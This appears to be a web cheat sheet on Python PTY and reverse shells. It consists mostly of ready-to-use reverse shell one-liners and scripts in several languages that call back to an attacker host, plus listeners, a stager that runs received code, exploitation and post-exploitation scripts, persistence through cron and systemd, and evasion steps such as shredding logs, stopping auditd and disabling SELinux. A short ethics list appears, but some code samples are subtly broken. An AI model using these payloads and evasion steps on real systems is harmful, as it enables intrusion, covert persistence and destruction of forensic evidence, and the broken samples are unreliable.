Python PTY Shells & Reverse Shells
A comprehensive guide to Python PTY shell techniques including reverse shell payloads, TTY spawning, shell stabilization, and session management.
Python Reverse Shell Payloads
Basic Socket Shell (Connection-Based)
# Attacker listener setup
python3 -m http.server 8000 # HTTP server
nc -lvnp 4444 # Netcat listener
# One-liner reverse shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
# With explicit imports (Python 2 & 3 compatible)
python -c 'import socket,subprocess;s=socket.socket();s.connect(("10.0.0.1",4444));exec(subprocess.check_output(["cat","/etc/passwd"]))'
Bash Shell via Python
# Send to attacker machine
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
# Via Python subprocess (more reliable)
python3 -c "import subprocess;subprocess.call(['bash','-i'])"
Multi-platform Shell
import socket
import subprocess
import os
import platform
HOST = "ATTACKER_IP"
PORT = 4444
def shell():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
os_type = platform.system()
if os_type == "Windows":
shell_cmd = "cmd.exe"
else:
shell_cmd = "/bin/bash"
subprocess.Popen([shell_cmd], stdin=s, stdout=s, stderr=s)
s.close()
shell()
TTY Spawning & Upgrade Techniques
Spawn Interactive TTY (Unix/Linux)
# Method 1: Python (most reliable)
python -c 'import pty; pty.spawn("/bin/bash")'
# Method 2: Bash-only
bash -i
# Method 3: Using script command
script -q /dev/null /bin/bash
# Method 4: Using socat (if available)
socat exec:/bin/bash tcp:ATTACKER_IP:PORT
Upgrade Shell to Full PTY
# Step 1: After initial shell connection, spawn Python PTY
python -c 'import pty; pty.spawn("/bin/bash")'
# Step 2: Background the shell (Ctrl+Z), then execute:
stty raw -echo
fg
# Step 3: Set terminal environment
export TERM=xterm-256color
export SHELL=/bin/bash
# Step 4: Verify TTY
stty size
Advanced TTY Setup Script
#!/bin/bash
# tty_upgrade.sh - Upgrade reverse shell to full PTY
if [ -t 0 ]; then
echo "[*] Already have TTY"
else
echo "[*] Upgrading to TTY..."
# Spawn TTY
python -c 'import pty; pty.spawn("/bin/bash")'
# If Python failed, try alternatives
if [ $? -ne 0 ]; then
/bin/bash -i
fi
fi
# Set terminal properly
stty raw -echo
fg
export TERM=xterm-256color
export SHELL=/bin/bash
stty rows $(tput lines) cols $(tput cols)
Shell Stabilization Techniques
Detect Shell Type
# Check if interactive shell
if [ -t 0 ]; then
echo "Interactive terminal"
else
echo "Non-interactive shell"
fi
# Check shell type
echo $SHELL
ps -p $$
# List available shells
cat /etc/shells
Remove Shell History
# Clear current session history
history -c
# Clear history file
cat /dev/null > ~/.bash_history
# Disable history for current session
unset HISTFILE
# Remove command from history
history -d [line_number]
Disable Command Logging
# Disable shell history recording
export HISTFILE=/dev/null
export HISTSIZE=0
# Create no-logging shell
bash --noprofile --norc
# Kill terminal logging (script command)
scriptreplay /dev/null
Persistence & Background Execution
# Run command detached (nohup)
nohup ./shell.sh > /dev/null 2>&1 &
# Using screen (if available)
screen -S shell -d -m /bin/bash
# Using tmux
tmux new-session -d -s shell /bin/bash
# As systemd service (if root)
systemctl start shell.service
Advanced Reverse Shell Techniques
Encrypted Shell with Obfuscation
import socket
import subprocess
import base64
import os
def encrypted_shell():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("ATTACKER_IP", 4444))
while True:
try:
# Receive base64-encoded command
cmd = base64.b64decode(s.recv(1024)).decode()
if cmd == 'exit':
break
# Execute command
output = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT)
# Send base64-encoded result
s.send(base64.b64encode(output))
except:
pass
if __name__ == '__main__':
encrypted_shell()
Multi-threaded Shell Handler
import socket
import threading
import subprocess
def handle_client(client_socket):
while True:
try:
cmd = client_socket.recv(1024).decode()
if not cmd:
break
output = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT)
client_socket.send(output)
except:
break
client_socket.close()
def start_listener(port):
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind(('0.0.0.0', port))
server.listen(5)
print(f"[*] Listening on port {port}")
while True:
client, addr = server.accept()
print(f"[+] Connection from {addr[0]}")
thread = threading.Thread(target=handle_client, args=(client,))
thread.daemon = True
thread.start()
if __name__ == '__main__':
start_listener(4444)
Staged Reverse Shell
# Stage 1: Lightweight stager
import socket,subprocess
s=socket.socket();s.connect(('ATTACKER_IP',4444))
exec(s.recv(4096))
# Stage 2: Full shell (sent by attacker)
import subprocess,os
subprocess.Popen(['/bin/bash','-i'],stdin=0,stdout=0,stderr=0)
Common Reverse Shell Methods
Netcat Shell
# Attacker: Listen for connection
nc -lvnp 4444
# Target: Connect back
nc ATTACKER_IP 4444 -e /bin/bash
# Using mkfifo (if nc doesn't support -e)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f
Bash Shell
# Method 1: Using /dev/tcp
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
# Method 2: Using exec
exec /bin/bash -i <&3 >&3 3<>/dev/tcp/ATTACKER_IP/4444
# Method 3: Complete redirect
/bin/bash -i > /dev/tcp/ATTACKER_IP/4444 0>&1 2>&1
PHP Shell (from RCE)
<?php
$sock=fsockopen("ATTACKER_IP",4444);
exec("/bin/bash -i <&3 >&3 2>&3", $null, 3);
?>
Socat Shell
# Attacker listener
socat file:`tty`,raw,echo=0 TCP-LISTEN:4444
# Target connection
socat exec:/bin/bash,pty,stderr,setsid,sigpipe,sane tcp:ATTACKER_IP:4444
PowerShell (Windows)
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("ATTACKER_IP",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
Session Management & Stability
Keep Shell Alive
# Method 1: Infinite loop
while true; do /bin/bash; done
# Method 2: Using nohup (disconnect proof)
nohup bash -i >& /dev/null &
# Method 3: Background process group
setsid /bin/bash -i
# Method 4: Systemd user service
systemctl --user start shell.service
# Method 5: Cron job
(crontab -l 2>/dev/null; echo "* * * * * /path/to/shell.sh") | crontab -
Multi-session Shell
import socket
import subprocess
import threading
class ShellServer:
def __init__(self, port):
self.port = port
self.sessions = {}
self.session_counter = 0
def handle_session(self, client_socket, session_id):
print(f"[+] Session {session_id} started")
while True:
try:
cmd = client_socket.recv(1024).decode()
if not cmd:
break
output = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT)
client_socket.send(output)
except:
break
print(f"[-] Session {session_id} closed")
del self.sessions[session_id]
client_socket.close()
def start(self):
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind(('0.0.0.0', self.port))
server.listen(5)
print(f"[*] Multi-session shell server listening on port {self.port}")
while True:
client, addr = server.accept()
self.session_counter += 1
session_id = self.session_counter
print(f"[+] New connection from {addr[0]} (Session {session_id})")
self.sessions[session_id] = client
thread = threading.Thread(
target=self.handle_session,
args=(client, session_id)
)
thread.daemon = True
thread.start()
if __name__ == '__main__':
server = ShellServer(4444)
server.start()
Detect and Evade Detection
# Check if being monitored
ps aux | grep -E 'strace|ltrace|gdb|tcpdump'
# Hide process
exec -a " " /bin/bash
# Clear process accounting
rm /var/log/account/pacct
# Disable SELinux
setenforce 0
# Kill auditd
systemctl stop auditd
Attacker Setup & Listener Configuration
Netcat Listener
# Basic listener
nc -lvnp 4444
# Listener with file logging
nc -lvnp 4444 | tee shell.log
# Accept multiple connections
while true; do nc -lvnp 4444; done
# With timeout
timeout 300 nc -lvnp 4444
Metasploit Handler
# Start Metasploit console
msfconsole
# Create multi-handler
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 4444
run
Custom Python Listener
#!/usr/bin/env python3
import socket
import subprocess
def start_listener(host, port):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind((host, port))
sock.listen(1)
print(f"[*] Listening on {host}:{port}")
while True:
conn, addr = sock.accept()
print(f"[+] Connection from {addr}")
try:
while True:
cmd = input(f"{addr[0]}> ")
if not cmd:
continue
conn.send(cmd.encode() + b'\n')
output = conn.recv(4096)
print(output.decode())
except KeyboardInterrupt:
print("\n[*] Closing connection")
finally:
conn.close()
if __name__ == '__main__':
start_listener('0.0.0.0', 4444)
Reverse Shell Testing
# Test with local connection
bash -i >& /dev/tcp/127.0.0.1/4444 0>&1 &
nc -lvnp 4444
# Test Python shell
python3 -c 'import socket,subprocess;s=socket.socket();s.connect(("127.0.0.1",4444));subprocess.Popen(["/bin/bash","-i"],stdin=s,stdout=s,stderr=s)'
Complete Exploitation Workflow
Initial Access Workflow
#!/bin/bash
# exploit_workflow.sh
TARGET="example.com"
ATTACKER_IP="10.0.0.5"
ATTACKER_PORT="4444"
echo "[*] Step 1: Reconnaissance"
whois $TARGET
nslookup $TARGET
echo "[*] Step 2: Vulnerability Scan"
nmap -sV -sC $TARGET
echo "[*] Step 3: Web App Testing"
# Find vulnerabilities (RCE, SQLi, etc.)
echo "[*] Step 4: Prepare Payload"
PAYLOAD="python -c 'import socket,subprocess;s=socket.socket();s.connect((\"$ATTACKER_IP\",$ATTACKER_PORT));subprocess.call([\"/bin/sh\",\"-i\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'"
echo "[*] Step 5: Start Listener"
nc -lvnp $ATTACKER_PORT &
LISTENER_PID=$!
echo "[*] Step 6: Execute Payload"
# Inject payload via RCE vulnerability
echo "[*] Step 7: Upgrade Shell"
# In the shell, run: python -c 'import pty; pty.spawn("/bin/bash")'
wait $LISTENER_PID
Post-Exploitation Steps
#!/bin/bash
# post_exploit.sh - Stabilize and maintain access
echo "[*] Upgrade to full PTY"
python -c 'import pty; pty.spawn("/bin/bash")'
echo "[*] Gather system info"
uname -a
id
whoami
pwd
echo "[*] Check for other users"
cat /etc/passwd | grep '/bin/bash'
echo "[*] Find SUID binaries"
find / -perm /4000 2>/dev/null
echo "[*] Check sudo privileges"
sudo -l
echo "[*] Disable history"
export HISTFILE=/dev/null
export HISTSIZE=0
echo "[*] Create persistent backdoor"
# Add SSH key, cron job, or other persistence mechanism
Best Practices & Operational Security
Legal & Ethical Considerations
- Only exploit systems you have written authorization for
- Maintain detailed logs of all authorized testing
- Report findings through proper responsible disclosure channels
- Do not use exploits on systems without explicit permission
- Comply with local computer fraud laws
- Document all steps taken for legal review
Operational Security (OPSEC)
# Use proxy/VPN for anonymity
export HTTP_PROXY=socks5://proxy:1080
export HTTPS_PROXY=socks5://proxy:1080
# Use separate accounts
sudo -u attacker whoami
# Avoid obvious patterns
sleep $((RANDOM % 300 + 60)) # Random delay
# Encrypt traffic
ssh -D 1080 pivot_host # SOCKS tunnel
# Clean logs
find /var/log -type f -exec shred {} \;
# Disable core dumps
ulimit -c 0
Avoid Detection
# Disable shell history
unset HISTFILE
export HISTSIZE=0
# Hide process
exec -a " " /bin/bash
# Use /tmp for temporary files (often less monitored)
cd /tmp
# Clear common log files
> /var/log/auth.log
> /var/log/syslog
> ~/.bash_history
# Check for monitoring
ps aux | grep -E 'auditd|osqueryd|aide'
# Disable SELinux (if running as root)
setenforce 0
Documentation & Reporting
- Document all discovered vulnerabilities
- Note the exploitation path and conditions
- Record timestamps and session information
- Maintain proof of authorization
- Create detailed remediation recommendations
- Follow responsible disclosure timeline
Environment Variables for Shell Operations
| Variable | Purpose | Example |
|---|---|---|
LHOST | Attacker IP for reverse shell | export LHOST=10.0.0.5 |
LPORT | Attacker port for reverse shell | export LPORT=4444 |
TERM | Terminal type | export TERM=xterm-256color |
SHELL | Default shell | export SHELL=/bin/bash |
HISTFILE | History file location | export HISTFILE=/dev/null |
HISTSIZE | History size in lines | export HISTSIZE=0 |
PATH | Command search path | export PATH=/usr/local/bin:/usr/bin:/bin |
HOME | Home directory | export HOME=/tmp |
USER | Current user | export USER=root |
SOCKS_PROXY | SOCKS proxy for tunneling | export SOCKS_PROXY=socks5://proxy:1080 |
Shell Payload Generation
Generate Payloads Using Tools
# Using Metasploit msfvenom
msfvenom -p cmd/unix/reverse_bash LHOST=10.0.0.5 LPORT=4444
# Using pwntools
python3 -c "from pwn import *; p = process('/bin/bash'); print(p.readline())"
# Using custom generator
python3 << 'EOF'
import base64
cmd = "nc ATTACKER_IP 4444 -e /bin/bash"
payload = base64.b64encode(cmd.encode()).decode()
print(f"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1")
print(f"echo {payload} | base64 -d | bash")
EOF
One-liner Collection
# Bash (simple)
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
# Python (reliable)
python -c 'import socket,subprocess;s=socket.socket();s.connect(("ATTACKER_IP",4444));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'
# Perl
perl -e 'use Socket;$i="ATTACKER_IP";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
# Ruby
ruby -rsocket -e'f=TCPSocket.new("ATTACKER_IP",4444);exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
# Node.js
node -e 'require("child_process").exec("bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1")'
Resources & References
Shell Payload Resources
- Reverse Shell Cheatsheet
- PayloadsAllTheThings - Comprehensive payloads
- SecLists - Wordlists and payloads
- Exploit-DB - Exploit database
Tools & Frameworks
- Metasploit Framework - Exploitation framework
- Empire - PowerShell/Python post-exploitation
- Cobalt Strike - Adversary simulation
- Sliver - Golang C2 framework
Documentation
- HackTricks - Reverse Shells
- OWASP - Remote Code Execution
- PortSwigger - Code Injection
- GTFOBins - Bypass restrictions with shell commands
Learning Platforms
- HackTheBox - CTF challenges with shells
- TryHackMe - Interactive training on shells
- SANS OnDemand - Professional security training
- Coursera - Cybersecurity - Free courses
Last updated: 2026-03-30
Troubleshooting Common Shell Issues
Shell Won’t Execute
# Check if Python is available
which python python3
python --version
# Try alternative shell methods
/bin/bash -i
/bin/sh -i
bash -c 'bash -i'
Connection Refused
# Verify attacker is listening
netstat -tlnp | grep LISTEN
# Check firewall rules
sudo ufw status
sudo iptables -L
# Try different port
nc -lvnp 5555
# Check if port is in use
lsof -i :4444
PTY Not Available
# Alternative TTY methods
strace -e execve /bin/bash
# Using script command
script -q /dev/null /bin/bash
# Socat alternative
socat - TCP:ATTACKER_IP:PORT
# Su wrapper
su -l
Command History Exposed
# Disable history immediately
unset HISTFILE
# Clear current history
history -c
# Remove specific command
history -d 100
# Overwrite history file
cat /dev/null > ~/.bash_history
shred -u ~/.bash_history
Slow/Laggy Shell
# Disable terminal echo locally
stty raw -echo
# Increase buffer
stty -istrip
stty -parenb
stty cs8
# Reduce timeout
export TMOUT=0
# Check connection quality
ping -c 5 ATTACKER_IP
Quick Reference Table
| Task | Command |
|---|---|
| Basic reverse shell | bash -i >& /dev/tcp/IP/PORT 0>&1 |
| Python reverse shell | python -c 'import socket,subprocess;s=socket.socket();s.connect(("IP",PORT));subprocess.call(["/bin/bash","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())' |
| Upgrade to PTY | python -c 'import pty; pty.spawn("/bin/bash")' |
| Listen for connection | nc -lvnp PORT |
| Disable history | export HISTFILE=/dev/null |
| Fix terminal | stty raw -echo && fg |
| Hide process | exec -a " " /bin/bash |
| Background shell | nohup bash -i & |
| Multi-session handler | while true; do nc -lvnp PORT; done |
Last updated: 2026-03-30